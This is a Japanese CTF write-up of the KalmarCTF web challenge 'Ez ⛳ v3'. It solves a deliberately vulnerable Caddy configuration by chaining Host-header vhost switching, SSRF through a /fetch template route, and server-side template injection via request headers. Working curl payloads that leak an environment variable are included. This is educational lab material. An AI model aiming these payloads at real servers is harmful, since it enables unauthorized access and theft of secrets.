Skip to content

Latest commit

 

History

History

Ez_⛳_v3

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 

Ez ⛳ v3:web:146pts

To get the flag, you need: the mTLS cert, connecting from localhost, ... and break physics? Should be easy!
Challenge note: the handout files contains tls internal while the hosted challenge mostly use real TLS.
NOTE: Remote is working as intended! Even with the redirects.
NOTE 2: Backup instance with tls internal (= broken TLS cert) 49.13.233.207

https://caddy.chal-kalmarc.tf

caddy-handout.zip

Solution

URLとソースコードがもらえる。
ソースの中の主要なファイルCaddyfileは以下の通りであった。

{
        debug
        servers  {
                strict_sni_host insecure_off
        }
}

*.caddy.chal-kalmarc.tf {
        tls internal
        redir public.caddy.chal-kalmarc.tf
}

public.caddy.chal-kalmarc.tf {
        tls internal
        respond "PUBLIC LANDING PAGE. NO FUN HERE."
}

private.caddy.chal-kalmarc.tf {
        # Only admin with local mTLS cert can access
        tls internal {
                client_auth {
                        mode require_and_verify
                        trust_pool pki_root {
                                authority local
                        }
                }
        }

        # ... and you need to be on the server to get the flag
        route /flag {
                @denied1 not remote_ip 127.0.0.1
                respond @denied1 "No ..."

                # To be really really sure nobody gets the flag
                @denied2 `1 == 1`
                respond @denied2 "Would be too easy, right?"

                # Okay, you can have the flag:
                respond {$FLAG}
        }
        templates
        respond /cat     `{{ cat "HELLO" "WORLD" }}`
        respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
        respond /headers `{{ .Req.Header | mustToPrettyJson }}`
        respond /ip      `{{ .ClientIP }}`
        respond /whoami  `{http.auth.user.id}`
        respond "UNKNOWN ACTION"
}

CaddyなるWebサーバらしく、private.caddy.chal-kalmarc.tf/flagからのレスポンスでフラグが取得できるが、いくつかの制限があるようだ。
初めに問題のURLにアクセスすると、public.caddy.chal-kalmarc.tfに飛ぼうとする。
以下の制限が原因のようだ。

*.caddy.chal-kalmarc.tf {
        tls internal
        redir public.caddy.chal-kalmarc.tf
}

public.caddy.chal-kalmarc.tf {
        tls internal
        respond "PUBLIC LANDING PAGE. NO FUN HERE."
}

*ですべてをpublicへ飛ばしている。
何とかしてprivateへリクエストを到達させたい。
パスやヘッダの加工を試していると、Hostヘッダをprivateにすることで到達した(うまく証明書の制限も回避したようだ)。

$ curl https://public.caddy.chal-kalmarc.tf/
PUBLIC LANDING PAGE. NO FUN HERE.
$ curl https://public.caddy.chal-kalmarc.tf/flag -H 'Host: private.caddy.chal-kalmarc.tf'
No ...

ただ、/flagは以下の条件によってさらに制限されている。

private.caddy.chal-kalmarc.tf {
~~~
        # ... and you need to be on the server to get the flag
        route /flag {
                @denied1 not remote_ip 127.0.0.1
                respond @denied1 "No ..."

                # To be really really sure nobody gets the flag
                @denied2 `1 == 1`
                respond @denied2 "Would be too easy, right?"

                # Okay, you can have the flag:
                respond {$FLAG}
        }
~~~
}

remote_ip127.0.0.1であり、かつ1 == 1ではないという意味不明な条件だ。
ここで、値や関数がテンプレートに埋め込まれたいくつかの機能を利用できることを思い出す。

        templates
        respond /cat     `{{ cat "HELLO" "WORLD" }}`
        respond /fetch/* `{{ httpInclude "/{http.request.orig_uri.path.1}" }}`
        respond /headers `{{ .Req.Header | mustToPrettyJson }}`
        respond /ip      `{{ .ClientIP }}`
        respond /whoami  `{http.auth.user.id}`
        respond "UNKNOWN ACTION"

/fetch/*があまりにも怪しいが、remote_ipの制限をSSRFで回避できないだろうか。

$ curl https://public.caddy.chal-kalmarc.tf/fetch/flag -H 'Host: private.caddy.chal-kalmarc.tf'
Would be too easy, right?

/flag/fetch/することでremote_ipの制限は回避できたが、1 == 1がどうやっても突破できない。
あきらめて方針転換し、他にユーザが値を操作可能な機能を見ると、/headersなるリクエストのヘッダをJSONとして返すよくわからないものがある。
ここで、ヘッダに{{.ClientIP}}のようなテンプレートと解釈できるものを設定し、/fetch/*/headersを読み取るとどうなるだろうか。
ヘッダSatokiをつけて試す。

$ curl https://public.caddy.chal-kalmarc.tf/fetch/headers -H 'Host: private.caddy.chal-kalmarc.tf' -H 'Satoki: {{.ClientIP}}'
{
  "Accept": [
    "*/*"
  ],
  "Accept-Encoding": [
    "identity"
  ],
  "Caddy-Templates-Include": [
    "1"
  ],
  "Satoki": [
    "172.70.108.142"
  ],
  "User-Agent": [
    "curl/7.81.0"
  ]
}

なんと/headersが返したものがテンプレートとして解釈された。
これでSSTIが可能となったため、1 == 1を突破せずとも、ファイル読み込みや環境変数の取得でフラグが得られそうだ。
Caddyのドキュメントを探すと{{env "VAR_NAME"}}とすれば環境変数VAR_NAMEが取得できるようだ。
しかし、実際に行ってみると{{env "FLAG"}}どころか{{cat "FLAG"}}すらできない。
catはもともとのテンプレートで使われているので、使えないはずがない。
ここでチームメンバが"が悪さをしているのではないかと呟いていた。
"無しに文字列を作る方法はないかと探すと、{{.Req.Header}}が使えることに気づく。
{{env (first (.Req.Header.Tsuji))}}とし、ヘッダTsuji: FLAGを設定すれば"なしに文字列FLAGを作り、envに渡せる(.Req.Header.Tsujiは配列が帰ってくるためfirstで最初の要素を抜き出している)。
以下のように行う。

$ curl https://public.caddy.chal-kalmarc.tf/fetch/headers -H 'Host: private.caddy.chal-kalmarc.tf' -H 'Satoki: {{env (first (.Req.Header.Tsuji))}}' -H 'Tsuji: FLAG'
{
  "Accept": [
    "*/*"
  ],
  "Accept-Encoding": [
    "identity"
  ],
  "Caddy-Templates-Include": [
    "1"
  ],
  "Satoki": [
    "kalmar{4n0th3r_K4lmarCTF_An0Th3R_C4ddy_Ch4ll}"
  ],
  "Tsuji": [
    "FLAG"
  ],
  "User-Agent": [
    "curl/7.81.0"
  ]
}

flagが得られた。

kalmar{4n0th3r_K4lmarCTF_An0Th3R_C4ddy_Ch4ll}